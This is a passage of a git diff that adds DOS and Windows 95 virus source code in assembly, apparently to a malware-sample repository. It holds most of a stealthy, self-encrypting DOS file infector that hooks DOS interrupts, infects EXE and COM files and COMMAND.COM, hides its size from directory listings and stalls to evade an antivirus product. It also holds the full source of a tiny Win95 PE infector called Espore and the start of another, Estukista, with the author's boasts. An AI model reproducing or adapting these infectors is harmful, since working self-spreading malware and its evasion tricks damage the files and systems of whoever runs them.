+ pop es + + sti + + jmp yesvirus + + tmp_COMseg dw ? + +HOOK_2F : cmp ah,0feh + jne short ChkintWin + mov al,0ffh + iret + +;///// Chkintwin and ChkEndwin disable the virus during installation check in +; win311 and under Msdos prompt in w95 ///// + +; Under Msdos prompt only some int21h trap worked :(( i.e 4b +; but 3dh,3eh and some other as all long filenames functions didn't work +; i dunno the reason since i hadn't much time for solving the question +; if someone can explain it let me know pleaze :) + +ChkintWin : cmp ax,1605h + jne short chkendwin + mov cs:sleep,TRUE + jmp short pass2f + +ChkEndWin : cmp ax,1606h + jne short pass2f + mov cs:sleep,FALSE + +pass2f : db 0eah + TRAPPED_2F dd ? + +HOOK_21 : cmp cs:command_flag,TRUE + jne short Check_int + call @COMM_COM + +Check_int : cmp cs:sleep,TRUE + je short org_21 + + cmp ax,cs:[intr_sub_w] ;4b00h + je @EXEC00 + cmp ax,cs:[intr_sub_w+2] ;4b01h + je @LD&EX + + cmp ah,cs:[intr_sub_b] ;1ah + je @SAVEDTA + cmp ah,cs:[intr_sub_b+1] ;4eh + je @FINDFIRST + cmp ah,cs:[intr_sub_b+2] ;4fh + je @FINDNEXT + + cmp ah,cs:[intr_sub_b+3] ;3dh + je @OPEN + cmp ah,cs:[intr_sub_b+4] ;3eh + je @CLOSE + + cmp ax,cs:[intr_sub_w+4] ;6c00h + je @EXTOPEN + + cmp ah,cs:[intr_sub_b+5] ;11h + je @FCB_FIND + cmp ah,cs:[intr_sub_b+6] ;12h + je @FCB_FIND + + +org_21 : db 0eah + TRAPPED_21 dd ? + +@COMM_COM : pushad + push ds es + + cld + mov ax,cs:COMseg + mov es,ax + xor di,di + mov cx,256 + +@pre_loop : mov eax,'SMOC' +@loop_a : scasd + jz short @nxt_ck + sub di,3 + loop @loop_a + + jmp @fail + +@nxt_ck : mov eax,'=CEP' + scasd + jz short @it_is + sub di,3 + jmp short @pre_loop + +@it_is : push es + pop ds + mov si,di + push cs + pop es + mov di,offset Data_Buffer + + mov cx,256 + +@loop_b : lodsb + or al,al + jz short @copy_end + stosb + loop @loop_b +@copy_end : stosb + + push cs + pop ds + mov dx,offset Data_Buffer ; DS:DX command.com path + mov bx,dx + + call GetFattrib ; CX attributo + jc short @fail + + push cx dx ds + + call openfile ; BX handle + + call FileInfect + + call closefile + + pop ds dx cx + + call SetFattrib + +@fail : pop es ds + popad + + mov cs:command_flag,FALSE + + ret + +@EXEC00 : call CheckIfExe + jnz org_21 + + pushad + push es ds ; DS:DX ASCIZ filename + + call vir_handler + + call getFattrib + jc short @no_inf ; CX attributo + + push cx ds dx + + call openfile + + call FileInfect + + call closefile + + pop dx ds cx + + call SetFattrib + +@no_inf : call dos_handler + + pop ds es + popad + + call int21h + + jmp Intret + + +@LD&EX : push es ds + pushad + + call vir_handler + + call GetFattrib + jc short ex_ld ; CX attributo + + push cx dx ds + + call OpenFile + jc short ex_ld + + call FileClean + + call closefile + + pop ds dx cx + + call SetFattrib + +ex_ld : call dos_handler + + popad + pop ds es + + push ds dx + call int21h + pop dx ds + + pushf + push es ds + pushad + + call vir_handler + + call GetFattrib + jc short not_ld ; CX attrib + + push cx ds dx + + call OpenFile + + call FileInfect + + call closefile + + pop dx ds cx + + call SetFattrib + +not_ld : call dos_handler + + popad + pop ds es + popf + jmp Intret + + +@OPEN : call CheckIfExe + jnz org_21 + + push es ds + pushad + + call vir_handler + + call GetFattrib + jc short Skip_file ; CX attrib + + push cx ds dx + + call OpenFile + + call FileClean + + call CloseFile + + pop dx ds cx + + call SetFattrib + + call dos_handler + + popad + pop ds es + + push ds dx + call int21h + pop dx ds + jc short @no_open + + xchg ax,bx + call PushHandle + xchg bx,ax + jmp Intret + +@no_open : pushf + cmp al,5 + jne short @no_mat + + push es ds + pushad + + call vir_handler + + call GetFattrib + jc short @a + + push cx ds dx + + call OpenFile + + call FileInfect + + call CloseFile + + pop dx ds cx + + call SetFattrib + + call dos_handler + +@a : popad + pop ds es + +@no_mat : popf + jmp Intret + +Skip_file : popad + pop ds es + + call dos_handler + + jmp org_21 + +@EXTOPEN : xchg si,dx + call CheckIfExe + xchg dx,si + jnz org_21 + + push es ds + pushad + + call vir_handler + + mov dx,si + + call GetFattrib + jc short @aa + + push cx ds dx + + call OpenFile + + call FileClean + + call closefile + + pop dx ds cx + + call SetFattrib + +@aa : call dos_handler + + popad + pop ds es + + push ds si + call int21h + pop dx ds + jc @no_open + + xchg ax,bx + call PushHandle ; save handle + xchg bx,ax + + jmp Intret + + +; // SFT and JFT didn't work in Msdos Prompt :(( // + +@CLOSE : call Pophandle + jc org_21 + + call vir_handler + + pushad + push ds es + + push bx + + mov ax,1220h ; BX handle + call int2fh ; ES:DI JFT + + xor bx,bx + mov bl,byte ptr es:[di] + mov ax,1216h ; bx entry number for + call int2fh ; ES:DI SFT + + mov byte ptr es:[di+2],2 + + pop bx + + call FileInfect + + pop es ds + popad + + call int21h ; exec int + + call dos_handler + + clc + jmp Intret + + +@FINDFIRST : push ax cx si di es ; DS:DX find filename + pushf + + mov si,dx + + push cs + pop es + mov di,offset findvar + + cld + push di + xor ax,ax + mov cx,(size Findvar - 2) / 2 + rep stosw ; reset Findvar + pop di + + mov ah,60h ; DS:SI filename + call Int21h ; ES:DI canonaized + + mov di,offset findvar + size findvar - 2 + mov cx,size findvar - 2 - 1 + + std + mov al,'' +repnz scasb + jz short o + sub di,3 +o : add di,2 + mov cs:Findvar.Findofs,di + popf + pop es di si cx ax + +@FINDNEXT : call int21h + jc Intret + +FindProc : pushad + push ds es + pushf + + mov ds,cs:DTAseg + mov si,cs:DTAofs + add si,1eh ; DS:SI punta al + ; filename nella DTA + push cs + pop es + + mov di,cs:findvar.findofs ; ES:DI path filename + cld + +CopyName: movsb + cmp byte ptr ds:[si],0 + jne short CopyNAme + mov byte ptr es:[di],0 + +; Findvar now has the ASCIZ filename to pass to Openfile + + push cs + pop ds + mov dx,offset Findvar + + call CheckIfExe + jnz short DonotTreat + + call OpenFile + jc short DoNotTreat + + call CheckXinf + + cmp file_type,other + je short CanClose + + cmp file_status,already + jne short CanClose + + mov es,DTAseg + mov di,DTAofs + + sub dword ptr es:[di+1ah],vir_true_len - 1 + +CanClose : call CloseFile + +DoNotTreat: popf + pop es ds + popad + jmp Intret + + +@SAVEDTA : mov cs:DTAofs,dx + mov cs:DTAseg,ds + jmp org_21 + + +@FCB_FIND : call int21h + + pushf + push es ax bx + + les bx,dword ptr cs:DTAofs + + mov al,byte ptr es:[bx] + cmp al,0ffh ; vede se FCB esteso + jne short @ok_good + add bx,7 + +@ok_good : pusha + push ds es + + mov ah,47h ; get cur dir + mov dl,byte ptr es:[bx] ; drive number + push cs + pop ds + mov si,offset FindVar + call int21h ; return ASCIZ directory + + push cs + pop es + cld + + cmp byte ptr ds:[si],0 ; root ? + jne short @path + mov ax,offset FindVar + add ax,3 + mov cs:FindVar.FindOfs,ax + jmp short @root + +@path : mov di,offset FindVar + xor al,al +@@f : scasb ; look for the end of the dirname + jnz short @@f + + mov si,di + dec si + mov byte ptr es:[si],'' + add di,3 + + mov es:FindVar.FindOfs,di + dec di + std +@cp : movsb + cmp si,offset FindVar + jae short @cp + +@root : mov word ptr es:[offset FindVar+1],':' + add dl,'A' - 1 + mov byte ptr es:[offset FindVar],dl ; drive letter + + pop es ds + popa + + pusha + push ds es ; ES:BX DTA + + push es + pop ds ; DS = ES + mov si,1 + add si,bx ; file name ds:si + + push cs + pop es + mov di,cs:FindVar.FindOfs + + mov cx,8 + cld + +@lp1 : lodsb + cmp al,20h + je short @end_1 + stosb + loop @lp1 + +@end_1 : mov al,'.' + stosb + + mov cx,3 + mov si,9 + add si,bx + rep movsb + + xor al,al + stosb ; Z terminated + + push cs + pop ds + mov dx, offset FindVar ; ASCIZ filename + + mov bp,bx + + call CheckIfExe + jnz short @not_op + + call OpenFile + jc short @not_op + + call CheckXinf + + cmp file_type,other + je short @CanClose + + cmp file_status,already + jne short @CanClose + + mov es,cs:DTAseg + sub dword ptr es:[bp+1dh],VIR_TRUE_LEN - 1 ; real size + +@CanClose : call CloseFile + +@not_op : pop es ds + popa + + +@NotInf : pop bx ax es + popf + +Intret proc + cli + push ax + pushf + pop ax + add sp,8 + push ax + sub sp,6 + pop ax + sti + iret +Intret endp + + +int21h proc + + pushf + call dword ptr cs:TRAPPED_21 + ret + +int21h endp + +int2fh proc + + pushf + call dword ptr cs:TRAPPED_2F + ret + +int2fh endp + +vir_handler proc + + cli + push eax ds + xor ax,ax + mov ds,ax + mov eax,cs + shl eax,16 + mov ax,offset critical + xchg ds:[90h],eax + mov cs:TRAPPED_24,eax + pop ds eax + sti + ret + +vir_handler endp + +dos_handler proc + + push ds ax + cli + xor ax,ax + mov ds,ax + + db 66h + dw 06c7h + dw 0090h + TRAPPED_24 dd ? ; mov ds:[90h],cs:TRAPPED_24 + + pop ax ds + sti + ret + +dos_handler endp + + +critical proc + xor al,al + iret +critical endp + + +openfile proc + + mov ah,3dh + xor al,al + add al,2 + ; mov ax,3d02h + call int21h + mov bx,ax + ret ; out : BX handle + +openFile endp + +closeFile proc + + mov ah,3eh ; in : BX handle + call int21h + ret + +closefile endp + +GetFAttrib proc + + push ax + mov ah,43h + xor al,al + ; mov ax,4300h + push ax + call int21h ; CX attributo + pop ax + inc al + push cx + ; mov ax,4301h + push ax + call int21h + pop ax + jc short out_f + ; mov ax,4301h + mov cx,32 + call int21h +out_f : pop cx + pop ax ; ritorna CX attributo + ret ; ritona carry se errore + +SetFattrib proc + push ax ; in CX attributo + mov ah,43h + xor al,al + inc al + ; mov ax,4301h + call int21h + pop ax + ret +SetFattrib endp + +GetFAttrib endp + +FileEnd proc + mov ah,42h + xor al,al + add al,2 + ; mov ax,4202h + xor cx,cx + xor dx,dx + call int21h ; DX:AX file size + ret + +FileEnd endp + +Filestart proc + + xor cx,cx + xor dx,dx + +Filestart endp + +FileSeek proc + + mov ax,4200h + call int21h + ret + +FileSeek endp + +blockread proc + + mov ah,3fh + call int21h + ret + +blockread endp + +blockwrite proc + + mov ah,40h + call int21h + ret + +blockwrite endp + +GetDateTime proc + + mov ah,57h + xor al,al + ; mov ax,5700h + call Int21h + mov cs:searchrec.date,dx + mov cs:searchrec.time,cx + ret + +GetdateTime endp + +SetDateTime proc + + mov dx,cs:searchrec.date + mov cx,cs:searchrec.time + mov ah,57h + xor al,al + inc al + ; mov ax,5701h + call Int21h + ret + +SetdateTime endp + +commit_file proc + + mov ah,68h + call int21h ; commit file + ret + +commit_file endp + +clean_x_stack proc + + mov di,offset searchstack + mov cx, (size searchstack) / 4 + xor eax,eax +rep stosd + ret + +clean_x_stack endp + + +CheckIfExe proc ; DS:DX filename + + push es di ax + + push ds + pop es + + cld + mov di,dx ; ES:DI filename + xor ax,ax +FindZ : scasb + jnz short FindZ + + cmp dword ptr [di-5],'exe.' + je short is_exe + cmp dword ptr [di-5],'EXE.' + je short is_exe + cmp dword ptr [di-5],'moc.' + je short is_exe + cmp dword ptr [di-5],'MOC.' + +is_exe : pop ax di es + ret + +CheckIfExe endp + +PushHandle proc + + pushf + push ax cx es di + + push cs + pop es + mov di,offset SearchStack ; ES:DI SearchStack + cld + mov cx,maxfiles + xor ax,ax +repnz scasw + jnz short Nofree + mov word ptr es:[di-2],bx ; sets handle + +Nofree: pop di es cx ax + popf + ret + +PushHandle endp + +PopHandle proc + + push ax cx es di + + or bx,bx + jz short Nofree1 ; BX = 0 ? + + push cs + pop es + + cld + mov di,offset SearchStack + mov cx,maxfiles + mov ax,bx +repnz scasw + jnz short Nofree1 + mov word ptr es:[di-2],0 ; free handle + clc + jmp short exitpop + +Nofree1 : stc +Exitpop : pop di es cx ax + ret + +PopHandle endp + + +Calc_check proc + + push si ; DS = CS + + xor dx,dx + mov si,size fileheader - 4 +@chk : add dx,[si+offset fileheader] + sub si,2 + jnz short @chk + + pop si ; DX = checksum + ret + +Calc_check endp + +CheckXinf proc + + mov file_status,already + + call Filestart + + mov cx,size Fileheader + mov dx, offset Fileheader + call BlockRead + + mov cx,cs:[MZsig] + dec cx + cmp fileheader.signature,cx + je short IsanExe + mov cx,cs:[ZMsig] + dec cx + cmp fileheader.signature,cx ; vede se e' un file EXE + je short IsanExe + + mov file_type,com + + call FileEnd ; DX:AX dim file + + sub ax,VIR_TRUE_LEN - 1 + add ax,NONCRYPTED - START_TSR + sub ax,3 + + cmp ax,word ptr fileheader.signature+1 + je GotoEnd ; infected + + jmp Except + +IsAnExe : mov file_type,exe + + cmp fileheader.Checksum,40h + jne short @good ; not a PE,NE,LE .... + mov file_type,other + jmp GotoEnd + +@good : call calc_check + + cmp dx,fileheader.CheckOvr + je GoToEnd ; already infected + +Cont : call FileEnd ; DX:AX dimens file + + shl edx,16 + mov dx,ax + + movzx edi,fileheader.msize + movzx esi,fileheader.sizemod + dec edi + imul edi,512 + add edi,esi + + cmp edi,edx ; malloc = filesize + je short Except + +;//**** SFT and JFT doesnt work in dos7 prompt from w95 :(( ****** /// +;//**** This is used for infecting COMMAND.COM under dos7 which is not a .COM +;//**** file but a real EXE + +Chk_Com : push bx es + + mov ax,1220h ; BX handle + call int2fh ; ES:DI JFT + + xor bx,bx + mov bl,byte ptr es:[di] + mov ax,1216h ; bx entry number for + call int2fh ; ES:DI SFT + + cld + add di,20h ; go to filename + + mov eax,'MMOC' + scasd + jnz short no_com_com + mov eax,' DNA' + scasd + jnz short no_com_com + mov ax,'OC' + scasw +no_com_com : pop es bx + jz short except + + mov file_type,other + jmp short GotoEnd + +except : mov file_status,ready + +GoToEnd : call FileEnd + ret + ; DX:AX dimensione file +CheckXinf endp + + +FileInfect proc + + push cs cs + pop ds es + + call CheckXInf ; DX:AX dimens file + + cmp file_type,other + je Infectexit + + cmp file_status,ready + jne infectexit + + cld + mov word ptr f_size,ax ; salva dim per .COM + mov si,offset fileheader + mov di,offset @com_buf + movsd + + cmp dx,0 + ja short @not_less + + cmp ax,23000 + ja short @not_less + + jmp infectexit + +@not_less : cmp dx,7 + ja Infectexit + + cld + mov si,offset fileheader + 2 + mov di,offset templateheader + 2 + mov cx,(size fileheader) / 2 - 1 +rep movsw + + push ax dx + add ax,VIR_TRUE_LEN + adc dx,0 + mov cx,512 + div cx + + inc ax ; AX = quoziente DX=resto + mov fileheader.msize,ax ; nuova memory size + mov fileheader.sizemod,dx ; nuovo memory module + pop dx ax + + add ax,NONCRYPTED - START_TSR + adc dx,0 + + mov cx,16 + div cx ; AX:DX = CS:IP + + mov fileheader.ip,dx + + push ax + + xor dx,dx + mov ax,VIR_TRUE_LEN + add ax,cx + add fileheader.ip,ax + mov cx,16 + div cx + + sub fileheader.ip,dx + + mov dx,fileheader.ip + + dec dx + mov first_addr,dx + sub dx,NONCRYPTED - START_TSR + mov cmp_addr,dx + + mov dx,ax + + pop ax + + sub ax,dx + + sub ax,fileheader.headsize + mov fileheader.codes,ax ; setta CS:IP nuovi + mov fileheader.stackseg,ax + add fileheader.stackofs,(VIR_PAR + 4) * 16 ; mi metto al sicuro + + call GetDateTime + + call calc_check ; dx checksum + mov fileheader.checkovr,dx + +LeaveSo : call FileStart + + cmp file_type,com + jne @exe1 + + mov jmp_addr,offset com_exec - offset yesvirus - 3 + + mov byte ptr fileheader,0e9h + mov cx,f_size + add cx,NONCRYPTED - START_TSR + sub cx,3 + mov word ptr fileheader+1,cx + add cx,102h + mov first_addr,cx + sub cx,NONCRYPTED - START_TSR + mov cmp_addr,cx + + mov dx,offset FIleheader + mov cx,3 + call BlockWrite + + jmp short ordinary + +@exe1 : mov jmp_addr,0 + + mov dx,offset Fileheader + mov cx,size fileheader + call BlockWrite ; scrive header + +ordinary : call FileEnd + + call Criptate ; return CX = + ; virus lenght + mov dx,offset Data_Buffer + mov cx,VIR_TRUE_LEN - 1 + call BlockWrite + + call SetDateTime + + call commit_file + +InfectExit : ret + +FileInfect endp + +FileClean proc + + push cs + pop ds + + call CheckXInf ; DX:AX dimens file + + cmp file_type,other + je clean_out + + cmp file_status,already + jne clean_out + + sub ax,size templateheader + 4 ;size @com_buf + sbb dx,0 + + mov cx,dx + mov dx,ax + call FileSeek + + mov cx,size templateheader + 4 ;size @com_buf + ; read real fileheader + mov dx,offset @com_buf + call Blockread + + call FileStart + call GetdateTime + + cmp file_type,com + jne short @exe2 + + mov cx,4 + mov dx,offset @com_buf + call Blockwrite + jmp short ordinary1 + +@exe2 : mov cx,cs:[MZsig] + dec cx + mov templateheader.signature,cx + mov dx,offset templateHeader + mov cx,size templateheader + call BlockWrite + +ordinary1 : call fileEnd + + sub ax,vir_true_len - 1 + sbb dx,0 + + mov cx,dx + mov dx,ax + call FileSeek + + xor cx,cx + call Blockwrite + + call SetDateTime + + call commit_file + +clean_out : ret + +FileClean endp + +Criptate proc + + push bx + + xor bx,bx + mov ds,bx + mov bx,word ptr ds:[46ch] ; ritorna numero casuale + + push cs cs + pop ds es + + mov k_code,bl + mov k1_code,bl + + mov si,bx + and si,3 + cmp si,3 + jl short @well + xor si,si + +@well : mov bh,byte ptr [offset cripstyle+si] + mov cripmode,bh + mov bh,byte ptr [offset uncripstyle+si] + mov uncripmode,bh + + std + mov si,offset NONCRYPTED - 1 + mov di,offset Data_Buffer + (NONCRYPTED - START_TSR) - 1 +@crip : bt si,15 + jc short @stop + lodsb + + cripmode db ? + k_code db ? ; xor add sub ,k_code + + stosb + jmp short @crip + +@stop : cld + mov si,offset @uncr_code + mov di,offset offset Data_Buffer + (NONCRYPTED - START_TSR) + mov cx,REAL_CODE - offset @uncr_code + rep movsb + + pop bx + + ret +Criptate endp + +Cripstyle db 034h ; xor + db 04h ; add + db 02ch ; sub + +Uncripstyle db 34h ; xor + db 2ch ; sub + db 04h ; add + +Message db '|||-(BOOBS-)||| Virus , Once again deep in Terronia Land ' + db '1997 Bari' + +intr_sub_w dw 4b00h,4b01h,6c00h +intr_sub_b db 1ah,4eh,4fh,3dh,3eh,11h,12h +MZsig dw 'ZM'+1 +ZMsig dw 'MZ'+1 + +NONCRYPTED equ $ + +@uncr_code : db 0beh + first_addr dw ? ; mov si,first_addr + +@uncr : db 02eh ; xor cs:[si] + db 80h + uncripmode db ? + k1_code db ? + + mov cx,4000 ; do-nothing loop +@m1: inc si ; to waste time + dec si ; to + loop @m1 ; fuck AVP + + dec si + db 81h + db 0feh + cmp_addr dw ? ; cmp si, + + jne short @uncr + +@end : jmp AfterCryp + +@com_buf db 4 dup (?) +templateheader FileheaderRecord <> ; real file header + +REAL_CODE equ $ + +Fileheader FileheaderRecord <> ; header +file_status db ? ; infection flag +file_type db ? +sleep db ? ; flag for Windows 3.X +command_flag db ? ; infect command.com ? +Searchrec Searchrecord <> ; date & time record +SearchStack dw Maxfiles dup (?) ; stack for f-handle +FindVar Findrecord <> ; findfirst & findnext +SFT db 03bh dup (0) ; System File Table Buffer +DTAofs dw ? ; DTA for Findfirst,next +DTASeg dw ? +COMSeg dw ? ; SEG for command.com +f_size dw ? ; com size +Data_Buffer db VIR_TRUE_LEN + 16 dup (?) ; Virus temp buffer + + +END_TSR equ $ + + +main : mov ax,ds ; DS = PSP + dec ax ; AX = MCB + mov ds,ax + + mov byte ptr ds:[0],'M' + sub word ptr ds:[3],VIR_PAR + inc ax + add ax,ds:[3] + mov ds,ax + mov byte ptr ds:[0],'Z' ; Z nell'ultimo MCB + mov word ptr ds:[1],0008 + mov word ptr ds:[3],VIR_PAR-1 + mov word ptr ds:[8],'CS' + + inc ax ; SEG TSR + + cld + mov es,ax + xor si,si + xor di,di + push cs + pop ds + mov cx,(VIR_LEN / 4) + 1 +rep movsd + + call clean_x_stack + + cli + + xor ax,ax + mov ds,ax + + mov eax,es + shl eax,16 + mov ax,offset HOOK_21 + xchg ds:[84h],eax + mov es:TRAPPED_21,eax + + mov eax,es + shl eax,16 + mov ax,offset HOOK_2F + xchg ds:[0bch],eax + mov es:TRAPPED_2F,eax + + mov es:sleep,FALSE + mov es:command_flag,FALSE + + sti + + mov ax,4c00h + int 21h +CSeg ends + end main diff --git a/LegacyWindows/Win95.Espore.asm b/LegacyWindows/Win95.Espore.asm new file mode 100644 index 00000000..c70b218c --- /dev/null +++ b/LegacyWindows/Win95.Espore.asm @@ -0,0 +1,136 @@ +;---------------------------- W95 ESPORE BY HenKy ----------------------------- +; +;-AUTHOR: HenKy +; +;-MAIL: HenKy_@latinmail.com +; +;-ORIGIN: SPAIN +; + + ; WOW!!!! 140 BYTES !!!! AND 100% RING 3 !!!! (ONLY WINDOZE 9X CAN SUPPORT IT) + + ; OF COURSE MIDFILE AND NO GROWING CAVITY TECH + + ; IT SEARCHS FILENAMES INTO CACHE (AND PARASITE THEM) :-) + + + ; THE 0C1000000H ADDRESS IS USED AS BUFFER BECOZ WE HAVE WRITE/READ + + ; PRIVILEGES + + ; THE BFF712B9h ADDRESS IS THE CALL VINT21 + + ; THE INITIAL EDX VALUE POINTS TO A 28KB CACHE BUFFER WICH CONTAINS SEVERAL + + ; FILENAMES WITH COMPLETE PATH (ONLY PE EXE/DLL ) + +.386P +.MODEL FLAT +LOCALS + +EXTRN ExitProcess:PROC +MIX_SIZ EQU (FILE_END - MEGAMIX) + +MACROSIZE MACRO + DB MIX_SIZ/00100 mod 10 + "0" + DB MIX_SIZ/00010 mod 10 + "0" + DB MIX_SIZ/00001 mod 10 + "0" + ENDM +.DATA + DB 'BIEN PEKE?O BIEN... LIKE AN ESPORE... HEHEHE',0 + DB ' W9X ESPORE SIZE = ' + MACROSIZE + +.CODE + +MEGAMIX: ; EDX: BUFFER + ; EAX: EIP + ; ECX: BUFFER + +VINT21: + DD 0BFF712B9h ; MOV ECX,048BFF71H ;-) Z0MBiE + DB 'H' ; HenKy ;P + XCHG EDI, EAX ; EDI: DELTA + MOV ESI,0C1000000H ; ESI: BUFFER + MOV EBP,EDI ; NOW: EBP=EDI=DELTA=INT21H + + ;EDX: POINTER TO FNAME + + MOV ECX,28500 ; LIMIT +PORK: + INC EDX + CMP WORD PTR [EDX],':C' + JE KAA + LOOP PORK +OK: + PUSH 00401000H + OLD_EIP EQU $-4 +WARNING: + RET +KAA: + MOV AX, 3D02h + CALL [EDI] + XCHG EBX, EAX + PUSHAD ; SAVE ECX,EBX,EDX,EBP,EDI + CALL PHECT + POPAD + MOV AH, 3Eh + CALL [EDI] + JMP PORK + +PHECT: + + XOR ECX,ECX + MOV EDX, ESI + MOV AH, 3Fh + CALL R_W + MOV ECX, [ESI+3Ch] + LEA EAX, [ESI+ECX] + CMP BYTE PTR [EAX], "P" + JNE WARNING + MOV ECX,[EAX+28H] + CMP ECX, 1024 + JB WARNING + PUSH EBP + ADD ECX,[EAX+34H] + MOV [EBP+OLD_EIP-MEGAMIX],ECX + MOV EDI,EAX + +PORRO: + INC EDI + CMP BYTE PTR [EDI],'B' ; hehehehe + JNE PORRO + INC EDI + SUB EDI,ESI + MOV EDX,EDI + XCHG DWORD PTR [EAX+28h], EDI + LEA EDI, [ESI+EDX] + PUSH MIX_SIZ/4 + POP ECX + POP EAX + PUSH EAX + XCHG ESI,EAX + REP MOVSD + POP EDI + MOV EDX, EAX +W: + MOV AH, 40h +R_W: + PUSHAD + XOR EAX,EAX + MOV AH, 42h + CDQ + CALL [EDI] + POPAD + MOV CH, 4h + CALL [EDI] + RET + +ALIGN 4 +FILE_END: + + PUSH 0 + CALL ExitProcess + +END MEGAMIX + diff --git a/LegacyWindows/Win95.Estukista.asm b/LegacyWindows/Win95.Estukista.asm new file mode 100644 index 00000000..bd755cdf --- /dev/null +++ b/LegacyWindows/Win95.Estukista.asm @@ -0,0 +1,231 @@ +;-------------------------------- W95 ESTUKISTA BY HenKy ----------------------------- +; +;-AUTHOR: HenKy +; +;-MAIL: HenKy_@latinmail.com +; +;-ORIGIN: SPAIN +; + +; VIRUS_SIZE = 126 BYTES!!!! + + ; 100% FUNCTIONAL UNDER W95/98 !!!!! AND IS RING 3!!!!!! + + ; (NOT TESTED UNDER ME) + + ; INFECTS *ALL* OPEN PROCESES AND EVEN ALL DLL AND MODULES IMPORTED BY THEM + + ; THE 0C1000000H ADDRESS IS USED AS BUFFER BECOZ WE HAVE WRITE/READ PRIVILEGES + + ; THE BFF712B9h ADDRESS IS THE CALL VINT21 + + ; THE INITIAL ESI VALUE POINTS TO A READABLE MEMORY ZONE (SEEMS TO BE A CACHE ONE + + ; WHERE WINDOWS LOADS THE PE HEADER, THE IMPORTANT THING IS THAT HERE U CAN FIND + + ; THE FILENAMES WITH COMPLETE PATH OF ALL OPEN PROCESES) + + +;BUGS: * THE BAD THING IS THAT ESI INITIAL VALUE ON SOME FILES POINTS TO KERNEL, CAUSING +; THAT NO FILENAME FOUND (VIRUS WILL INFECT NOTHING AND WILL RETURN TO HOST). + +; * ANOTHER POSSIBLE BUG IS THAT 0C1000000H MAYBE NOT READ/WRITE ON ALL COMPUTERS +; (AT LEAST IN MY W95 AND W98 WORKS FINE, AND INTO COMPUTER'S FRIEND WITH 98 WORKS TOO) + +; * AND THE MORE PAINLY THING IS THE MASK LIMIT.... IF VERY LOW-> LESS INFECTIOUS +; IF VERY HIGH-> RISK OF READ NON-MAPPED AREA (AS WE ARE IN RING 3 IT WILL HANG WINDOZE) + +; ANYWAY IN MY TESTS A LOT OF FILES BECOME INFECTED , MANY OF THEM WINDOWS DLL'S + + +;DUMP OF INITIAL ESI VALUE OF MY COMPILED BINARY (I HAVE AN OPEN PROCESS CALLED AZPR.EXE) + + + +;81621788 FF FF FF FF 04 00 00 00 00 00 00 00 00 00 00 00 ???? +;81621798 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +;816217A8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +;816217B8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +;816217C8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +;816217D8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +;816217E8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +;816217F8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +;81621808 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +;81621818 00 00 00 00 00 00 00 00 20 00 00 A0 43 3A 5C 57 C:\W +;81621828 49 4E 50 52 4F 47 5C 41 5A 50 52 5C 41 5A 50 52 INPROG\AZPR\AZPR +;81621838 2E 45 58 45 20 00 00 00 48 00 00 A0 44 00 00 00 .EXE H D + +; .... + +;81621CD8 50 A0 D7 82 3C 02 00 A0 50 45 00 00 4C 01 08 00 P ??< PE L +;81621CE8 A0 95 37 39 00 00 00 00 00 00 00 00 E0 00 82 01 ?79 ΰ ? +;81621CF8 0B 01 02 12 00 22 02 00 00 A8 00 00 00 50 05 00  " ¨ P +;81621D08 01 40 0B 00 00 10 00 00 00 40 02 00 00 00 40 00 @  @ @ +;81621D18 00 10 00 00 00 02 00 00 01 00 0B 00 00 00 00 00    +;81621D28 04 00 00 00 00 00 00 00 00 90 0C 00 00 04 00 00    +;81621D38 00 00 00 00 02 00 00 00 00 00 04 00 00 00 01 00    +;81621D48 00 20 00 00 00 10 00 00 00 00 00 00 10 00 00 00   +;81621D58 00 00 00 00 00 00 00 00 64 54 0B 00 D4 01 00 00 dT ? +;81621D68 00 A0 08 00 00 94 02 00 00 00 00 00 00 00 00 00  ? +;81621D78 00 00 00 00 00 00 00 00 CC 52 0B 00 08 00 00 00 ?R  +;81621D88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +;81621D98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +;81621DA8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +;81621DB8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +;81621DC8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00  +;81621DD8 2E 74 65 78 74 00 00 00 00 30 02 00 00 10 00 00 .text 0  +;81621DE8 00 C0 00 00 00 04 00 00 00 00 00 00 00 00 00 00 ?  +;81621DF8 00 00 00 00 40 00 00 C0 2E 69 64 61 74 61 00 00 @ ?.idata +;81621E08 00 20 00 00 00 40 02 00 00 04 00 00 00 C4 00 00 @  ? +;81621E18 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ ? + +; .... + +;81621E38 00 1C 00 00 00 C8 00 00 00 00 00 00 00 00 00 00  ? +;81621E48 00 00 00 00 40 00 00 C0 2E 62 73 73 00 00 00 00 @ ?.bss +;81621E58 00 50 05 00 00 00 03 00 00 50 05 00 00 00 00 00 P  P +;81621E68 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ ? +;81621E78 2E 72 65 6C 6F 63 00 00 00 50 00 00 00 50 08 00 .reloc P P +;81621E88 00 00 00 00 00 E4 00 00 00 00 00 00 00 00 00 00 δ +;81621E98 00 00 00 00 40 00 00 C0 2E 72 73 72 63 00 00 00 @ ?.rsrc +;81621EA8 00 A0 02 00 00 A0 08 00 00 9A 01 00 00 E4 00 00   š δ +;81621EB8 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ ? +;81621EC8 61 73 70 72 00 00 00 00 00 40 01 00 00 40 0B 00 aspr @ @ +;81621ED8 00 3A 01 00 00 7E 02 00 00 00 00 00 00 00 00 00 : ~ +;81621EE8 00 00 00 00 50 08 00 C0 2E 64 61 74 61 00 00 00 P ?.data +;81621EF8 00 10 00 00 00 80 0C 00 00 00 00 00 00 B8 03 00  ? Έ +;81621F08 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ ? +;81621F18 40 00 00 A0 00 00 00 00 E0 1C 62 81 FF FF FF FF @ ΰb???? +;81621F28 E0 13 62 81 F0 13 62 81 18 00 08 00 8F 02 00 00 ΰbπb   +;81621F38 08 00 00 00 00 00 00 